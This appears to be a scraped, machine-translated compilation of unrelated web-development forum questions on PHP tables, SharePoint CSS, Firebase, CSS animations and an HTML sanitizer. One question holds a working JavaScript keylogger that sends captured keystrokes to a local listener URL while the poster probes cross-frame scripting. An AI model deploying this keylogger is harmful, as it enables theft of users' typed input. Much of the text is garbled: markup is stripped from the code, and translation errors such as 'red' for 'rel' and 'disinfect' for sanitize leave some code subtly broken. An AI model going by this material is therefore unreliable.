How to call a table record within an HTML column using PHP and MYsqli

Well guys, I am developing an application and I found it difficult to call a html column record.

In the first column of the HTML table, the retrieved records appear without problems, but in the following columns, no results appear.

Below is the code in the table:





    
          
   

        TED App - Listar Ativos
    
    
            

TED APP




ID Empresa Filial Segmento Categoria Marca Modelo MOBO Memoria Memoria 2 HD HD 2 Processador Fonte Leitor DVD Gabinete Sistema Operacional Pacote Office ERP Outros Softwares Outros Softwares 2 Outros Softwares 3 NS IP Mascara Gateway DNS DNS 2 MAC Lan MAC Workgroup Dominio Usuario Senha Host Localizacao Garantia Fornecedor NF NS TeamViewer ID TeamViewer Senha Anny ID Anny Senha Colaborador Status Monitor Mouse Teclado Porta HTTP Porta Mobile Nome Localizacao Garantia Fornecedor
"; } ?> "; } ?> "; } ?> "; } ?> "; } ?> "; } ?> "; } ?> "; } ?> "; } ?> "; } ?> "; } ?> "; } ?> Processador Fonte Leitor DVD Gabinete Sistema Operacional Pacote Office ERP Outros Softwares Outros Softwares 2 Outros Softwares 3 NS IP Mascara Gateway DNS DNS 2 MAC Lan MAC Workgroup Dominio Usuario Senha Host Localizacao Garantia Fornecedor NF NS TeamViewer ID TeamViewer Senha Anny ID Anny Senha Colaborador Status Monitor Mouse Teclado Porta HTTP Porta Mobile Nome Localizacao Garantia Fornecedor




"; echo "Empresa:".$aux("empresa")."
"; echo "Filial:".$aux("filial")."
"; echo "Segmento:".$aux("segmento")."
"; echo "Categoria:".$aux("categoria")."
"; echo "Marca:".$aux("marca")."
"; echo "Modelo:".$aux("modelo")."
"; echo "MOBO:".$aux("mobo")."
"; echo "Memoria:".$aux("memoria")."
"; echo "Memoria 2:".$aux("memoria2")."
"; echo "HD:".$aux("hd")."
"; echo "HD 2:".$aux("hd2")."
"; echo "Processador:".$aux("processador")."
"; echo "Fonte:".$aux("fonte")."
"; echo "Leitor DVD:".$aux("leitordvd")."
"; echo "Gabinete:".$aux("gabinete")."
"; echo "Sistema Operacional:".$aux("sistemaoperacional")."
"; echo "Pacote Office:".$aux("pacoteoffice")."
"; echo "ERP:".$aux("erp")."
"; echo "Outros Softwares:".$aux("softwareoutros")."
"; echo "Outros Softwares 2:".$aux("softwareoutros2")."
"; echo "Outros Softwares 3:".$aux("softwareoutros3")."
"; echo "NS:".$aux("ns")."
"; echo "IP:".$aux("ip")."
"; echo "Mascara:".$aux("mascara")."
"; echo "Gateway:".$aux("gateway")."
"; echo "DNS:".$aux("dns")."
"; echo "DNS 2:".$aux("dns2")."
"; echo "MAC Lan:".$aux("maclan")."
"; echo "MAC:".$aux("mac")."
"; echo "Workgroup:".$aux("workgroup")."
"; echo "Dominio:".$aux("dominio")."
"; echo "Usuario:".$aux("usuario")."
"; echo "Senha:".$aux("senha")."
"; echo "Host:".$aux("host")."
"; echo "Localizacao:".$aux("localizacao")."
"; echo "Garantia:".$aux("garantia")."
"; echo "Fornecedor:".$aux("fornecedor")."
"; echo "NF:".$aux("nf")."
"; echo "NS:".$aux("ns")."
"; echo "Teamviewer ID:".$aux("teamviewerid")."
"; echo "Teamviewer Senha:".$aux("teamviewersenha")."
"; echo "Anny ID:".$aux("annyid")."
"; echo "Anny Senha:".$aux("annysenha")."
"; echo "Colaborador:".$aux("colaborador")."
"; echo "Status:".$aux("status")."
"; echo "Monitor:".$aux("monitor")."
"; echo "Mouse:".$aux("mouse")."
"; echo "Teclado:".$aux("teclado")."
"; echo "Porta HTTP:".$aux("portahttp")."
"; echo "Porta Mobile:".$aux("portamobile")."
"; echo "Nome:".$aux("nome")."
"; echo "Localizacao:".$aux("localizacao")."
"; echo "Garantia:".$aux("garantia")."
"; echo "Fornecedor:".$aux("fornecedor")."

"; } ?>

Problem impression occurred ↓

enter the description of the image here

Thanks beforehand for your attention!

angular – Open calculator in windows from the html

I want to do that when a user presses a o un button The windows calculator opens:



   ir 

What I get is that the calculator be downloaded if the skewer is executed, but what I want is for it to run directly.

The idea is to know how it would be in the html to launch it later in the Angular6, I comment in case Angular6 can manage it better, although I have looked at information and I do not see how to launch it from Angular.

css: how can I implement the html code to load an image under the title of the page in sharepoint?

I am trying to put an image that I uploaded to the Assets of my site under the title of the page in SharePoint 2013. This is what I tried so far:

.ms-background-image {
background-image: url (https://collaboration-navy.forces.mil.ca/sites/navres-resnav/navreshq/cos-navres/sso-compt/WebISupport/SiteAssets/Forms/services-bi-header-2732x1536_2. jpg);
}

However, I don't think it's the right kind to add an image only at the top of the page.
I would need help in determining what class this part refers to, as well as the CSS and HTML code to implement the top background image.

Thank you.

html: PHP: how to update the values ​​in a combo box after clicking the Insert button?

I am new to programming and study alone … I broke my head on the school project. I need to do that after the user registers a course by selecting the combo box and clicking on register, in the table register in the database. OK, so far it is working. The problem is that since the user is still connected, the combo box is not updated, that is, it can select the same 2 X course, and this cannot happen … PLEASE, as I do to update the values ​​of the combo box just After clicking on the registration button and without interfering with the data entry in the table? someone help me!!!! Thanks in advance !!


query("SELECT * FROM courses");

$color1="whitesmoke";
$color2="teal";
$color= $color1;

?>


 
Course enrollment



Haven't you enroll in a course yet?

Choose your options:

/////////////here enroll.php///////
"; header('Location:panel.php'); } } ?>

html – How to link childData with the text of a script in a firebase request?

I am trying to get the data from firebase, to a simple html but the data is not loaded when requested
I want that when entering a text in the input "number" it is linked with childData ('' number) and I publish it in


var childKey = childSnapshot.key; var childData = childSnapshot.val(); document.getElementById("data").value = childData('numero');

html: Can a javascript on the main page register keystrokes within an iframe?

I am trying to analyze the possibility of accessing keystrokes from an iframe using a javascript that runs on the main page. The possible attack I am looking to verify is Cross Frame Scripting.

From the OWASP page, I read that the listener on the main page would receive a notification only if the keystroke events come from the main page and not from the iframe.

  1. Is that always the case?
  2. If the framed content is of the same origin,
    Would any of the browsers behave differently?
  3. I have confirmed in
    Chrome that this attack does not work. But is there any alternative way?
    to perform this attack?

This is the javascript that runs on my father.

var keys='';
var url = 'http://localhost:8883/key?c=';

document.onkeypress = function(e) {
    get = window.event?event:e;
    key = get.keyCode?get.keyCode:get.charCode;
    key = String.fromCharCode(key);
    keys+=key;
}
window.setInterval(function(){
    if(keys.length>0) {
        new Image().src = url+keys;
        keys = '';
    }
}, 1000);

html – Activate animation when you reach a certain point on the page

* {
     margin: 0;
     padding: 0;
     box-sizing: border-box;
}

body {
    font-family: 'Open Sans', sans-serif;
    color: #ffffff;
    font-weight: 400;
    font-size: 16px;
    line-height: 1.7;
}

.container {
    height: 100vh;
}

.header {
    /* url(img/fondo.jpg); */
    background-size: cover;
    background-position: top;
    position: relative;
  }
  
.header::before {
    content: "";
    position: absolute;
    top: 0;
    left: 0;
    width: 100%;
    height: 100%;
    clip-path: polygon(0 0, 100% 0, 100% 50%, 0 100%);
    background-image: linear-gradient(to right bottom, rgb(97, 166, 14, .7), rgb(0, 73, 135, .7));
}

.imagen-box {
    padding: 10px;
}
.header .logo-box img {
    height: 5vh;
}

.imagen-data .img-main-data,
.imagen-data .img-data{
    max-width: 100%;
}

.imagen-data .img-main-data {
    animation-name: moveInLeft;
    animation-duration: 3s;
}

.data-planning {
    text-align: center;
}

.data-planning h1{
    font-weight: 300;
}
.data-planning .titulo-data {
    color: #004987;
    text-transform: uppercase;
    letter-spacing: 10px;
    font-weight: 800;
}
.data-planning .btn {
    background: #004987;
    border-radius: 20px;
    color: #ffffff;
    border: none;
}

.modal-footer .btn-salir {
    color: #ffffff;
    background: #004987;
}

.modal-footer .btn-entrar {
    color: #ffffff;
    background: #56A419;
}

.modal-title {
    color: #0D0106;
}

.modal-body label{
    color: #0D0106;
}


.texto {
    text-align: center;
    color: #1A1D21;
    font-weight: 400;
}


/*ANIMACIONES*/
@keyframes moveInLeft {
    0% {
        opacity: 0;
        transform: translateX(100px);
    }

    100% {
        opacity: 1;
        transform: translate(0);
    }
}



    
    
    
    
    
    
    
    
    

    
    
    
    
    
    
    planning data


    

Welcome to planning data

Lorem, ipsum pain sit amet sale Consectetur. Therefore, the whole ?.

dice

Lorem Ipsum carrots improve sales. Will I explain the advantageous pain complaint complaint option about it? And the great great hatreds to follow? earn interest been blinded by the pain of our ancestors, however, the choice of which will serve for the page, What can please those who hate some of them? Wise pain can be prevented.

Lorem Ipsum carrots improve sales. Will I explain the advantageous pain complaint complaint option about it? And the great great hatreds to follow? earn interest been blinded by the pain of our ancestors, however, the choice of which will serve for the page, What can please those who hate some of them? Wise pain can be prevented.

Lorem Ipsum carrots improve sales. Will I explain the advantageous pain complaint complaint option about it? And the great great hatreds to follow? earn interest been blinded by the pain of our ancestors, however, the choice of which will serve for the page, What can please those who hate some of them? Wise pain can be prevented.

Please help my conception of object-oriented programming in JavaScript / HTML / CSS / DOM

So I have some experience with C ++ and Qt and now I am learning JavaScript. I already discovered that JavaScript added a kind of semi-object oriented programming in JavaScript with ES6.

Now, when I was watching this video, I saw that the tutor was using the position function on a canvas object and an h1 object.

I recognize this kind of thing for using C ++ with the Qt library. Objects created from the Qt classes had functions and functions inherited from the primary classes, also called with the period. (function object)

Now this behavior is shown here the same? Are you using the new features of class ES6 when using h1.position ()? Is position () within an h1 class or in a parent of that class?

Thank you. I appreciate the help. 🙂

enter the description of the image here

html – Firefox CSS animations broke

After updating to the latest version of Firefox, I have problems with my CSS animations.

On my camerabeanbags.co.uk website I have animated buttons where the gradient is animated through the asset.

This works fine in Google Chrome and worked fine in Firefox until I updated my version of Firefox.

On this page you can find one of the buttons that should be animated: the Add to cart button is animated in Chrome but not in Firefox: https://www.camerabeanbags.co.uk/product/standard-camera-bean-bag /

The code I am using is below for one of the buttons. (add to cart button)

.single-product div.product form.cart .button {
    color: #fff;
  background: -webkit-linear-gradient(180deg,#1b8c0f, #c2cc36, #1b8c0f);
    background: -moz-linear-gradient(180deg,#1b8c0f, #c2cc36, #1b8c0f);
    background-size: 400% 400%;
    animation: BackgroundGradient 10s ease infinite;
    -moz-animation: BackgroundGradient 10s ease infinite;
    -webkit-box-shadow: inset 0 0 0 0px #ff3366;
    -moz-box-shadow: inset 0 0 0 0px #ff3366;
}

.single-product div.product form.cart .button:hover {
    color: #fff;
  background: -webkit-linear-gradient(180deg,#1b8c0f, #c2cc36, #1b8c0f);
    background: -moz-linear-gradient(180deg,#1b8c0f, #c2cc36, #1b8c0f);
    background-size: 400% 400%;
    animation: BackgroundGradient 3s ease infinite;
     -moz-animation: BackgroundGradient 3s ease infinite;
    -webkit-box-shadow: inset 0 0 0 0px #ff3366;
    -moz-box-shadow: inset 0 0 0 0px #ff3366;
    transition: all .2s ease-in-out; 
    transform: scale(1); 
}



@keyframes BackgroundGradient {
                0% {background-position: 0% 50%;}
                50% {background-position: 100% 50%;}
                100% {background-position: 0% 50%;}
}

@-moz-keyframes BackgroundGradient {
                0% {background-position: 0% 50%;}
                50% {background-position: 100% 50%;}
                100% {background-position: 0% 50%;}
}

I am not sure why this does not work after updating Firefox. If you open the page in Chrome and Firefox, you will see that the animation works and does not work. Any help will be appreciated since I am not sure what could be wrong here.

c # – Create a ModelBinder to disinfect user input in HTML format

I have a custom model notebook that takes user input in HTML format, disinfects HTML input by removing any XSS script or threat and returns the disinfected HTML string:

public class AllowAndSanitizeHtmlBinder : IModelBinder
{

    private HtmlSanitizer _htmlSanitizer = HtmlSanitizerFactory.CreateInstance();

    public object BindModel(ControllerContext controllerContext, ModelBindingContext bindingContext)
    {
        var request = controllerContext.HttpContext.Request;
        var name = bindingContext.ModelName;

        // get the un-validated user input in HTML format
        var unsanitizedMessageHtmlString = request.Unvalidated(name); 

        // removed script or any XSS threat from user input
        return _htmlSanitizer.Sanitize(unsanitizedMessageHtmlString); 
    }
}

I am using the HtmlSanitizer Nuget package to do this. I need to configure this object and tell it to add "nofollow" to all links.

Then i created HtmlSanitizerFactory To make this setting:

public static class HtmlSanitizerFactory
{
    public static HtmlSanitizer CreateInstance()
    {
        var sanitizer = new HtmlSanitizer();
        sanitizer.PostProcessNode += (s, e) =>  (e.Node as IHtmlAnchorElement)?.SetAttribute("red", "nofollow noreferrer");
        return sanitizer;
    }
}

I am not at all happy with this code. The reason is that, in the future, a developer may forget that HtmlSanitizerFactory should be used to instantiate HtmlSanitizer… to create his new ModelBinder and initialize the object as:

HtmlSanitizer _htmlSanitizer = new HtmlSanitizer();

This would introduce an error because the links will not be converted to "nofollow"

I think DI would have worked much better here, but I don't know how to inject a class into a custom ModelBinder